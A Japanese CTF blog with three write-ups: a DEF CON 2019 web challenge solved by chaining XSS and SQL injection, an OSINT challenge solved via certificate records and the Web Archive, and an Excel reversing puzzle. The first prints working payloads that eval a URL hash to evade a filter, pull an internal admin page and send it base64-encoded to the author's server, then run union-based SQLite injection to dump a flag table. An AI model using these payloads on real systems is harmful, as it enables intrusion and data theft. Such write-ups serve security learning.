こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

DEF CON CTF Qualifier 2019 Writeup - ooops

Question

On our corporate network, the only overflow is the Order of the Overflow.

attachment: info.pac

eval((function(){var s=Array.prototype.slice.call(arguments),G=s.shift();return s.reverse().map(function(f,i){return String.fromCharCode(f-G-19-i)}).join('')})(29,202,274,265,261,254,265,251,267,227,179,247,249,260,175,244,252,172,253,239,237,250,214,166,248,237,163,245,244,229,226,225,222,156,233,219,220,152,234,219,218,237,226,222,225,221,212,142,228,219,215,208,219,205,221,213,133,221,207,208,208,128,196,198,177,124,133,137,121,120,97,209,117,125,199,197,192,184,111,122,185,190,192,114,183,183,176,186,168,178,184,168,97,125,95,138,143,145,173,169,127,177,175,165,167,132,151,160,154,118)+(16).toString(36).toLowerCase().split('').map(function(c){return String.fromCharCode(c.charCodeAt()+(-71))}).join('')+(28).toString(36).toLowerCase().split('').map(function(d){return String.fromCharCode(d.charCodeAt()+(-39))}).join('')+(880).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(I){return String.fromCharCode(I.charCodeAt()+(-71))}).join('')+(671).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-71))}).join('')+(1517381).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(W){return String.fromCharCode(W.charCodeAt()+(-71))}).join('')+(31).toString(36).toLowerCase().split('').map(function(x){return String.fromCharCode(x.charCodeAt()+(-39))}).join('')+(30598).toString(36).toLowerCase()+(31).toString(36).toLowerCase().split('').map(function(M){return String.fromCharCode(M.charCodeAt()+(-39))}).join('')+(842).toString(36).toLowerCase()+(function(){var T=Array.prototype.slice.call(arguments),F=T.shift();return T.reverse().map(function(Q,S){return String.fromCharCode(Q-F-18-S)}).join('')})(36,161,205,187,188,200,190,184,154,146,223,226,228,226,210,222,139,147,146,143,214,207,147,219,210,206,199,210,196,212,204,203,202,129,121,132,203,201,196,188,123,186,180,196,176,155,189,196,144,178,188,112,103,172,174,100,99,76,112,106,95,181,172,168,161,172,158,174,134,112)+(11).toString(36).toLowerCase().split('').map(function(H){return String.fromCharCode(H.charCodeAt()+(-39))}).join('')+(1657494275).toString(36).toLowerCase()+(599).toString(36).toLowerCase().split('').map(function(o){return String.fromCharCode(o.charCodeAt()+(-71))}).join('')+(42727).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-39))}).join('')+(519).toString(36).toLowerCase().split('').map(function(i){return String.fromCharCode(i.charCodeAt()+(-13))}).join('')+(16).toString(36).toLowerCase().split('').map(function(V){return String.fromCharCode(V.charCodeAt()+(-71))}).join('')+(41462560).toString(36).toLowerCase()+(30).toString(36).toLowerCase().split('').map(function(h){return String.fromCharCode(h.charCodeAt()+(-71))}).join('')+(2103412979233).toString(36).toLowerCase()+(function(){var n=Array.prototype.slice.call(arguments),z=n.shift();return n.reverse().map(function(l,V){return String.fromCharCode(l-z-58-V)}).join('')})(9,190,182,181,180,114,124)+(892604048).toString(36).toLowerCase()+(30).toString(36).toLowerCase().split('').map(function(T){return String.fromCharCode(T.charCodeAt()+(-71))}).join('')+(18).toString(36).toLowerCase()+(function(){var V=Array.prototype.slice.call(arguments),v=V.shift();return V.reverse().map(function(i,Y){return String.fromCharCode(i-v-53-Y)}).join('')})(48,160,212)+(8).toString(36).toLowerCase()+(function(){var q=Array.prototype.slice.call(arguments),b=q.shift();return q.reverse().map(function(X,r){return String.fromCharCode(X-b-11-r)}).join('')})(1,54,62,69,60)+(11).toString(36).toLowerCase().split('').map(function(y){return String.fromCharCode(y.charCodeAt()+(-39))}).join('')+(20).toString(36).toLowerCase().split('').map(function(S){return String.fromCharCode(S.charCodeAt()+(-97))}).join('')+(function(){var u=Array.prototype.slice.call(arguments),r=u.shift();return u.reverse().map(function(e,v){return String.fromCharCode(e-r-55-v)}).join('')})(27,207));

Solution

待望のWeb問題。

1. info.pacの解析

info.pacは難読化されたJavaScript。拡張子からプロキシ設定ファイルと推測する。

info.pacのコードをそのままChromeの開発者ツールのコンソールで実行すると以下の関数が定義される。

FindProxyForURL = function(url, host) {
  /* The only overflow employees can access is Order of the Overflow. Log in with OnlyOne:Overflow */
  if (shExpMatch(host, 'oooverflow.io')) return 'DIRECT';return 'PROXY ooops.quals2019.oooverflow.io:8080';
}

推測通りプロキシ設定。username/passwordもコメントに書かれている。

プロキシを使用してexmaple.comにリクエストを発行してみる。

root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://example.com/
<!doctype html>
<html>
<head>
    <title>Example Domain</title>
(snip)

プロキシは有効なようだ。ここからはブラウザにプロキシ設定して攻略を進める。

2. ブロック画面と申請画面の調査

oooverflow.ioにプロキシを使用してリクエストを発行してみる。

root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://oooverflow.io -v
*   Trying 35.236.48.134...
* TCP_NODELAY set
* Connected to ooops.quals2019.oooverflow.io (35.236.48.134) port 8080 (#0)
* Proxy auth using Basic with user 'OnlyOne'
> GET http://oooverflow.io/ HTTP/1.1
> Host: oooverflow.io
> Proxy-Authorization: Basic T25seU9uZTpPdmVyZmxvdw==
> User-Agent: curl/7.63.0
> Accept: */*
> Proxy-Connection: Keep-Alive
> 
< HTTP/1.1 200 OK
< Content-Type: text/html
< Content-Length: 562
< 
* Excess found in a non pipelined read: excess = 2, size = 562, maxdownload = 562, bytecount = 0
<!DOCTYPE html>
<html>
<head>
<script src="/ooops/d35fs23hu73ds/scripts/main.js"></script>
<link rel="stylesheet" type="text/css" href="/ooops/d35fs23hu73ds/css/main.css" >
<link rel="stylesheet" type="text/css" href="/ooops/d35fs23hu73ds/css/bootstrap.min.css" >
<meta charset="utf-8" /> 
</head>

<body>
  <div class="container">
    <h1>Page Blocked</h1>
    <img id=logo src="/ooops/d35fs23hu73ds/images/ooo.png"> <br/>
    <div id="blocked"></div>
      <a href="/ooops/d35fs23hu73ds/review.html">Request site review</a>
    </div>
  </div>
</body>
</html>
* Connection #0 to host ooops.quals2019.oooverflow.io left intact

Webブラウザでも表示する。どうやらプロキシでブロックされているようだ。
f:id:graneed:20190513010237p:plain

Request site reviewのリンクをクリックすると、管理者にブロック解除を申請する画面に遷移する。
f:id:graneed:20190513010345p:plain

試しに、自サーバのURLを入力して申請してみると、管理者とみられるユーザからアクセスが来た。

35.236.48.134 - - [12/May/2019:13:37:41 +0900] "GET /aaaa HTTP/1.0" 404 464 "http://10.0.1.69:5000/admin/view/15" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"

Refererを見ると、http://10.0.1.69:5000/admin/view/15から遷移されている。
なお、何度か試すと、IPアドレスとURLの末尾の数字は変動することがわかる。

管理者用の画面(/admin/view/1)のコンテンツを入手する方法を考える。

3. XSS

プロキシのブロック画面で/ooops/d35fs23hu73ds/scripts/main.jsをincludeしている。
main.jsのコードは以下の通り。

function split_url(u) {
    u = decodeURIComponent(u); // Stringify
    output = u[0];
    for (i=1;i<u.length;i++) {
        output += u[i]
        if (i%55==0) output+= "<br/>";
    }
    console.log(output)
    return output
}
window.onload = function () { 
    d = document.getElementById("blocked");
    d.innerHTML=(split_url(document.location) + " is blocked")
}

document.locationへ55文字ごとに<br/>を差し込んで、innerHTMLにセットしている。XSSできそうだ。

http://oooverflow.io/<img src=x onerror=alert(1)>にアクセスするとアラート表示に成功した。
f:id:graneed:20190513011928p:plain

ただ、http://oooverflow.io/XSSが成功しても、クロスドメインになるため、目的とするhttp://10.0.*.*:5000/admin/view/1からコンテンツは窃取できない。

プロキシがブロック画面を表示する条件を確認する。

root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://hoge.oooverflow.io/ -s | grep "Page Blocked"
    <h1>Page Blocked</h1>

root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://example.com/oooverflow -s | grep "Page Blocked"
    <h1>Page Blocked</h1>

URLのどこかにoooverflowが含まれていることが条件だったようだ。ドメインでなくてもよい。

これでhttp://10.0.*.*:5000/oooverflow/<img src=x onerror=攻撃コード>のURLを管理者に申請することでコンテンツ窃取することができる。

しかし、55文字ごとに<br/>を差し込む妨害をバイパスする必要がある。
色々な方法があるとは思うが、ハッシュ(URLの#以降の文字列)をevalで実行する方法で、長さ制限をバイパスすることにした。
HTMLのBodyのコード部分に<br/>が混入したとしてもハッシュに変化は無いため、任意の文字列のコードが実行できる。

以下はアラート表示させるXSSのURL例。

http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('alert("hoge")'))

aaaaaaaaaaaaaaaaaaaaaaaaaは、imgタグの途中で<br/>が混入しないための調整用の文字列。
ハッシュのevalとunescapeは、コード内の記号にURLエンコードがかかるため、それをデコードするための処理。

/admin/view/1のコンテンツを取得して自サーバに送信するコードをハッシュにセットし、ブロック解除を申請する画面に入力する。

http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/1",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))

直後、自サーバにアクセスが来た。

35.236.48.134 - - [12/May/2019:17:30:52 +0900] "GET /q=PCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KPHRpdGxlPk9PT1BTIC(snip)

BASE64デコードすると/admin/view/1の画面コンテンツを入手できた。

<!doctype html>
<html>
<head>
<title>OOOPS &mdash; Evaluate Requests</title>

<link href="/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"></head>
<body>
<div class="container">
<div class="row">


<!-- Query: select rowid,* from requests where rowid=1; -->

<p>
Request #1 from b&#39;10.255.0.2&#39;.
 Automatically evaluated 
</p>

<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="http://10.0.8.6:5000/overflow/(snip)
Visit http://10.0.8.6:5000/overflow/(snip)
</a>





</div>
</div>
</body>
</html>

なお、管理者のクローラーIPアドレスと、入力したURLのIPアドレスが一致していないと、Only internal users may access this websiteのメッセージが含まれるコンテンツが返却される。管理者のクローラーIPアドレスは頻繁に変わるようで、何度もリトライした。もう少し確実な解き方があったのかもしれない。

4. SQL Injection

/admin/view/1の画面コンテンツを見ると、興味深い文字列を発見する。

<!-- Query: select rowid,* from requests where rowid=1; -->

SQL Injectionで攻めるのが明らかである。

/admin/view/1の代わりに/admin/view/0 union select 1,2,3,4,5をセットして申請すると、テーブルが5列であることがわかる。

http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/0 union select 1,2,3,4,5",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))

(snip)
<!-- Query: select rowid,* from requests where rowid=0 union select 1,2,3,4,5; -->

<p>
Request #1 from 2.
 Automatically evaluated 
</p>

<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="4">
Visit 4
</a>
(snip)

次に0 union select 1,2,3,sql,5 from sqlite_masterをセットして申請する。
flagテーブルが存在することがわかる。

http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/0 union select 1,2,3,sql,5 from sqlite_master",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))

(snip)
<!-- Query: select rowid,* from requests where rowid=0 union select 1,2,3,sql,5 from sqlite_master; -->

<p>
Request #1 from 2.
 Automatically evaluated 
</p>

<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="CREATE TABLE flag (name TEXT, flag TEXT)">
Visit CREATE TABLE flag (name TEXT, flag TEXT)
</a>
(snip)

最後にflagを取得するSQLをセットして申請する。

http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/0 union select 1,2,3,flag,5 from flag",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))

(snip)
<!-- Query: select rowid,* from requests where rowid=0 union select 1,2,3,flag,5 from flag; -->

<p>
Request #1 from 2.
 Automatically evaluated
</p>

<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="OOO{C0rporateIns3curity}">
Visit OOO{C0rporateIns3curity}
</a>
(snip)

フラグゲット。
OOO{C0rporateIns3curity}

DEF CON CTF Qualifier 2019 Writeup - cant_even_unplug_it

Question

You know, we had this up and everything.
Prepped nice HTML5, started deploying on a military-grade-secrets.dev subdomain,
got the certificate, the whole shabang.
Boss-man got moody and wanted another name,we set up the new names and all.
Finally he got scared and unplugged the server.
Can you believe it?
Unplugged. Like that can keep it secret…

Solution

military-grade-secrets.dev subdomainにアクセスするが、問題文に記載の通り、抜線されている(設定の)ようで繋がらない。

RiskIQで調べると、過去に認証局から発行された証明書の情報から別のサブドメインを発見。

f:id:graneed:20190511094735p:plain

now.under.even-more-militarygrade.pw.military-grade-secrets.dev

WebArchiveで調べるとヒットした。

http://web.archive.org/web/20190511000528/http://now.under.even-more-militarygrade.pw.military-grade-secrets.dev/

https://forget-me-not.even-more-militarygrade.pw/へリダイレクトされ、その先にフラグがあった。

f:id:graneed:20190511094710p:plain

OOO{DAMNATIO_MEMORIAE}

INS'hAck 2019 Writeup - xHell

コンテスト終了間際にチームが追い込みをかけていたので、適当に残ってたREV問にチャレンジしたら解けた。
雑すぎる解き方で作問者に申し訳ない。

Question

This is what happens when you let a manager create challenges for INS'hAck.

If you don't have Microsoft Excel, this challenge also works in Google Sheets.

Solution

G2セルのif文の条件に合うようなB1~E1セルの値を求める問題。

B1~E1セルはデフォルトで乱数がセットされる。
B2~E82には計算式が入っている。

G2セルのif文の条件は以下の通り。この条件を満たすB1~E1セルの値がフラグ。

  • B1~E1が2~256
  • E82=1
  • B1-C1=46
  • E1-D1=119

まずはB1セルに=C1+46、D1セルに=E1-119をセットする。
あとはE82セルが1になるような、C1セルとE1セルの値を求めればよい。

C1セルとE1セルをbruteforceで回すVBAマクロを作ればよさそうだが、まずは観察してみようと思い、Excelのフォームのスピンボタンを設置してC1セルとE1セルにリンクさせる。スピンボタンを押下し続けて、各セルの値を観察してみる。

すると、E1セルが132のときに、E列のセルの値の変化が激しいことに気付く。

その状態でC1セルの値を変化させて観察していたところ、C1セルが157のときにE82セルが1となりif文の条件に合致した。

f:id:graneed:20190506022810p:plain

Congrats! Here is yout flag: INSA{203-157-13-132}